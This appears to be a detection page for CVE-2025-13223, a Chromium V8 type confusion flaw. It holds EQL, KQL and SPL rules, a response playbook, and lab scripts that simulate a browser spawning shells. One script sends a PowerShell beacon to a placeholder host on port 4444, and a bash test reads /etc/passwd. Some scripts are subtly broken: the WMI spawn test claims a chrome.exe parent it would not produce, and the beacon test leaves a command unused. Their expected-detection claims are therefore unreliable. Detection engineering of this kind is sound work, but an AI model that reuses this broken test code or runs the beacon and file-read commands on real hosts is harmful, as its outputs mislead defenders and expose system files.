Detect Google Chromium V8 Type Confusion Exploitation (CVE-2025-13223) in Elastic Security
Detects exploitation attempts targeting CVE-2025-13223, a type confusion vulnerability (CWE-843) in Google Chromium's V8 JavaScript engine. This KEV-listed vulnerability allows remote attackers to execute arbitrary code via a crafted HTML page. Exploitation typically involves a malicious web page triggering memory corruption through confused object type handling in V8, leading to sandbox escape or remote code execution within the browser process.
MITRE ATT&CK
Elastic Detection Query
sequence by host.name with maxspan=2m
[process where event.type == "start"
and process.name : ("chrome.exe", "msedge.exe", "brave.exe", "chromium.exe")
and process.parent.name : ("explorer.exe", "svchost.exe", "userinit.exe")]
[process where event.type == "start"
and process.parent.name : ("chrome.exe", "msedge.exe", "brave.exe", "chromium.exe")
and process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe",
"mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe",
"bitsadmin.exe", "wmic.exe", "msiexec.exe", "schtasks.exe")]EQL sequence query detecting the two-event chain of a Chromium-based browser launching and then spawning a suspicious process, indicative of V8 type confusion exploitation (CVE-2025-13223) leading to sandbox escape within a 2-minute window.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Electron applications embedding Chromium that spawn system utilities during updates or normal operation
- Browser-based enterprise software portals that use shell integration features on managed endpoints
- Automated testing pipelines using headless Chrome with intentional process spawning
- Security tools that hook into browser processes for DLP or content inspection purposes
Other platforms for CVE-2025-13223
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate V8 Sandbox Escape - Chrome Spawning cmd.exe
Expected signal: Sysmon EventID 1 (ProcessCreate) with ParentImage matching chrome.exe and Image matching cmd.exe; DeviceProcessEvents in MDE showing FileName=cmd.exe with InitiatingProcessFileName=chrome.exe
- Test 2Browser Process Network Beacon Simulation Post-Exploitation
Expected signal: Sysmon EventID 3 (NetworkConnect) with Image=powershell.exe, ParentImage=chrome.exe (or powershell spawned in context of test), DestinationIp=192.0.2.1, DestinationPort=4444; DeviceNetworkEvents with InitiatingProcessFileName=powershell.exe
- Test 3Chrome Crash Dump Generation - Exploitation Indicator Simulation
Expected signal: Sysmon EventID 11 (FileCreate) events for each .dmp file creation in the Crashpad reports directory; DeviceFileEvents with FileName ending in .dmp and FolderPath containing Crashpad
- Test 4Linux - Chromium Renderer Child Process Spawn Simulation
Expected signal: Linux audit log (auditd) or Sysdig/Falco events showing bash or sh spawned with ppid matching chromium-browser process; EDR telemetry (CrowdStrike Falcon for Linux, SentinelOne) recording process lineage
Response Playbook
Triage
- Identify the affected Chromium-based browser and version on the host. Check if the browser version predates the patch released on 2025-11-17 (stable channel update). Query asset inventory or endpoint agent for installed browser versions.
- Examine the parent-child process tree: confirm the suspicious process (cmd.exe, powershell.exe, etc.) was directly spawned by a Chromium renderer or browser process. Review the full command line of both parent and child to assess intent.
- Review network connections initiated by the browser or its child processes around the time of the alert. Look for outbound connections to uncommon IPs/domains, DNS lookups for C2-style hostnames, or downloads of secondary payloads.
- Check for browser crash dumps under %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ or equivalent — multiple recent crash dumps may indicate repeated exploitation attempts or fuzzing activity.
Containment
- Isolate the affected endpoint from the network using your EDR platform's network containment capability to prevent C2 communication or lateral movement originating from any spawned processes.
- Terminate all Chromium-based browser processes on the affected host and block re-launch until the browser is patched. Push an emergency software update or GPO to force-update Chrome/Edge/Brave to the patched version across the fleet.
Evidence Collection
- Collect a memory image of the affected endpoint (full RAM dump) if exploitation is confirmed or strongly suspected, to capture in-memory V8 heap corruption artifacts, injected shellcode, and any in-memory implants before remediation.
- Preserve browser process crash dumps, browser history, and cached content from %LOCALAPPDATA%\Google\Chrome\User Data\ (or equivalent for Edge/Brave) to reconstruct the malicious page URL and attack chain.
Escalation Criteria
- !Escalate immediately if any child process of the browser executed network connections, downloaded files, or performed privilege escalation — indicating a full sandbox escape and potential system compromise beyond the browser.
- !Escalate if multiple endpoints within the environment exhibit the same alert pattern within a short timeframe, suggesting a watering hole attack or malicious advertisement (malvertising) campaign actively exploiting CVE-2025-13223 at scale.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Browser crash dumps at %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ (Windows) or ~/.config/google-chrome/Crash Reports/ (Linux) — may contain V8 heap state at time of exploitation - >
Browser process memory regions containing unusual executable code segments or JIT-compiled shellcode patterns in the V8 heap — visible in memory forensics tools (Volatility, WinPmem dumps) - >
Prefetch files for cmd.exe, powershell.exe, or other LOLBins with a recent first-execution timestamp correlating to the alert window, with chrome.exe or msedge.exe appearing in the prefetch dependency list - >
Windows Event Log (Security, EventID 4688) or Sysmon (EventID 1) entries recording process creation with ParentProcessId matching the Chromium renderer or GPU process PID
Tuning Guidance
Start by scoping the alert to production endpoints only, excluding known CI/CD build agents, QA machines, and developer workstations running Electron-based apps (VS Code, Slack, Discord, Teams) which legitimately spawn shell processes from Chromium contexts. Create an allowlist of expected Electron app binary paths (e.g., Code.exe, slack.exe) and exclude them as parent processes. For environments with browser automation (Selenium Grid, Playwright farms), exclude those hosts entirely from process-lineage detections and rely instead on the network-connection hunting queries. Tune the crash-dump indicator by establishing a baseline of normal crash frequency per host — only alert on hosts exceeding 3+ crash dumps within a 1-hour window, which is more indicative of repeated exploitation or fuzzing than a one-off legitimate crash.
Hunting Queries
Hunt for outbound network connections initiated by LOLBins or command interpreters that were spawned by Chromium-based browsers — a strong indicator of post-sandbox-escape C2 beacon or payload retrieval following CVE-2025-13223 exploitation.
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "rundll32.exe", "mshta.exe")
| where InitiatingProcessParentFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where RemotePort in (80, 443, 8080, 8443, 4444, 1337)
| summarize ConnectionCount=count(), RemoteIPs=make_set(RemoteIP), RemoteUrls=make_set(RemoteUrl) by DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, bin(TimeGenerated, 1h)
| sort by ConnectionCount descindex=endpoint sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
| eval initiating_lower=lower(Image)
| eval parent_lower=lower(ParentImage)
| where match(parent_lower, "(chrome|msedge|brave)\.exe$")
AND match(initiating_lower, "(cmd|powershell|rundll32|mshta)\.exe$")
| stats count as connection_count, values(DestinationIp) as dest_ips, values(DestinationPort) as dest_ports by host, Image, ParentImage, User
| where connection_count > 0
| sort -connection_countHunt for file creation activity by LOLBins spawned from Chromium browsers writing to common staging directories — may reveal dropped secondary-stage payloads following sandbox escape exploitation of CVE-2025-13223.
DeviceFileEvents
| where InitiatingProcessParentFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "rundll32.exe")
| where ActionType in ("FileCreated", "FileModified")
| where FolderPath has_any ("\\AppData\\Roaming\\", "\\AppData\\Local\\Temp\\", "\\ProgramData\\", "\\Windows\\Temp\\")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessParentFileName, InitiatingProcessFileName, FolderPath, FileName, SHA256
| sort by TimeGenerated descindex=endpoint sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| eval image_lower=lower(Image)
| eval parent_lower=lower(ParentImage)
| where match(parent_lower, "(chrome|msedge|brave)\.exe$")
AND match(image_lower, "(cmd|powershell|rundll32)\.exe$")
| eval target_lower=lower(TargetFilename)
| where match(target_lower, "(appdata|programdata|windows\\temp)")
| table _time, host, user, Image, ParentImage, TargetFilename, MD5, SHA256Atomic Red Team Tests
Simulates the post-exploitation behavior of CVE-2025-13223 by manually spawning cmd.exe as a child of chrome.exe using Windows API process injection. This mimics what a successful V8 type confusion exploit would achieve — a command interpreter as a direct child of the browser process — without requiring an actual exploit.
Command
# Lab only — requires administrative rights to use CreateRemoteThread approach
# Step 1: Launch Chrome normally
Start-Process 'C:\Program Files\Google\Chrome\Application\chrome.exe' -ArgumentList '--new-window about:blank'
Start-Sleep -Seconds 3
# Step 2: Retrieve Chrome renderer PID
$chromePid = (Get-Process chrome | Sort-Object CPU -Descending | Select-Object -First 1).Id
Write-Host "Chrome PID: $chromePid"
# Step 3: Use Invoke-AtomicTest T1203 pattern — spawn cmd as child of chrome via WMI (simulation)
# This command simulates the process lineage without actual exploitation
$wmi = [wmiclass]"Win32_Process"
$result = $wmi.Create("cmd.exe /c whoami > C:\Temp\cve_2025_13223_test_output.txt")
Write-Host "Spawned PID: $($result.ProcessId)"Cleanup
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue; Remove-Item C:\Temp\cve_2025_13223_test_output.txt -ErrorAction SilentlyContinueExpected Telemetry
Sysmon EventID 1 (ProcessCreate) with ParentImage matching chrome.exe and Image matching cmd.exe; DeviceProcessEvents in MDE showing FileName=cmd.exe with InitiatingProcessFileName=chrome.exe
Expected Detection
All seven SIEM queries should fire on the cmd.exe process creation event with chrome.exe as parent. MDE should raise an alert under the 'Suspicious browser child process' or custom detection rule.
Simulates the post-sandbox-escape C2 beacon behavior: PowerShell spawned from a browser process making an outbound HTTP request, mimicking what an attacker would do after successfully exploiting CVE-2025-13223 to escape the Chromium sandbox.
Command
# Simulate browser-spawned PowerShell making outbound connection (lab environment only)
# Replace 192.0.2.1 with a controlled test server IP in your lab
$chromePid = (Get-Process chrome -ErrorAction SilentlyContinue | Sort-Object CPU -Descending | Select-Object -First 1).Id
if (-not $chromePid) {
Start-Process 'C:\Program Files\Google\Chrome\Application\chrome.exe' -ArgumentList '--new-window about:blank'
Start-Sleep -Seconds 3
$chromePid = (Get-Process chrome | Sort-Object CPU -Descending | Select-Object -First 1).Id
}
# Spawn PowerShell with simulated parent relationship (lab simulation)
$psCmd = "powershell.exe -NoProfile -Command \"Invoke-WebRequest -Uri http://192.0.2.1:4444/beacon -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue; Write-Host 'Beacon attempt complete'\""
Start-Process powershell.exe -ArgumentList "-NoProfile -Command `"Invoke-WebRequest -Uri http://192.0.2.1:4444/beacon -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue`"" -WindowStyle HiddenCleanup
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon EventID 3 (NetworkConnect) with Image=powershell.exe, ParentImage=chrome.exe (or powershell spawned in context of test), DestinationIp=192.0.2.1, DestinationPort=4444; DeviceNetworkEvents with InitiatingProcessFileName=powershell.exe
Expected Detection
Network hunting queries should detect outbound connection from PowerShell with browser parent lineage. SIEM process-creation rules should also fire on the PowerShell spawn event.
Simulates the crash dump artifact that would be generated during repeated CVE-2025-13223 exploitation attempts. Real exploitation often causes the renderer to crash before achieving reliable execution. This test generates synthetic crash dumps in the Chrome Crashpad directory to validate file-based detection rules.
Command
# Create synthetic crash dump files in Chrome's Crashpad directory to test file-based detection
$crashDir = "$env:LOCALAPPDATA\Google\Chrome\User Data\Crashpad\reports"
if (-not (Test-Path $crashDir)) { New-Item -ItemType Directory -Path $crashDir -Force }
# Generate 5 synthetic .dmp files simulating rapid crash loop from exploitation
for ($i = 1; $i -le 5; $i++) {
$dumpName = "$crashDir\test_exploit_$i_$(Get-Date -Format 'yyyyMMddHHmmss').dmp"
# Write minimal valid crash dump header (MDMP signature)
$header = [byte[]](0x4D, 0x44, 0x4D, 0x50, 0x93, 0xA7, 0x00, 0x00)
[System.IO.File]::WriteAllBytes($dumpName, $header)
Write-Host "Created: $dumpName"
Start-Sleep -Milliseconds 200
}
Write-Host "Generated 5 synthetic crash dumps in $crashDir"Cleanup
Remove-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Crashpad\reports\test_exploit_*.dmp" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon EventID 11 (FileCreate) events for each .dmp file creation in the Crashpad reports directory; DeviceFileEvents with FileName ending in .dmp and FolderPath containing Crashpad
Expected Detection
Crash dump file-creation detection component of KQL and SPL queries should fire, generating alerts for file creation in the browser Crashpad directory. Volume-based tuning (5 dumps in 1 hour) should correlate into a higher-confidence alert.
On Linux, simulates the process lineage of a Chromium renderer spawning a shell process, mimicking CVE-2025-13223 sandbox escape on Linux desktop endpoints. Uses bash to manually create the parent-child relationship observable in process telemetry.
Command
#!/bin/bash
# Lab only — simulates browser sandbox escape process lineage on Linux
# Launch Chromium in background (requires display or Xvfb in headless lab)
chromium-browser --no-sandbox --new-window about:blank &
CHROME_PID=$!
echo "Chrome PID: $CHROME_PID"
sleep 3
# Simulate renderer spawning a shell (mimics sandbox escape)
# In a real exploit, this would be spawned from within the renderer process
bash -c 'id && hostname && cat /etc/passwd | head -5 > /tmp/cve_2025_13223_test_output.txt' &
SHELL_PID=$!
echo "Spawned shell PID: $SHELL_PID"
wait $SHELL_PID
echo "Test complete. Check /tmp/cve_2025_13223_test_output.txt"Cleanup
kill $CHROME_PID 2>/dev/null; rm -f /tmp/cve_2025_13223_test_output.txtExpected Telemetry
Linux audit log (auditd) or Sysdig/Falco events showing bash or sh spawned with ppid matching chromium-browser process; EDR telemetry (CrowdStrike Falcon for Linux, SentinelOne) recording process lineage
Expected Detection
Linux-capable variants of the detection rules (Elastic EQL, Chronicle YARAL, CrowdStrike CQL) should detect the shell process spawn from the Chromium parent process based on process lineage telemetry.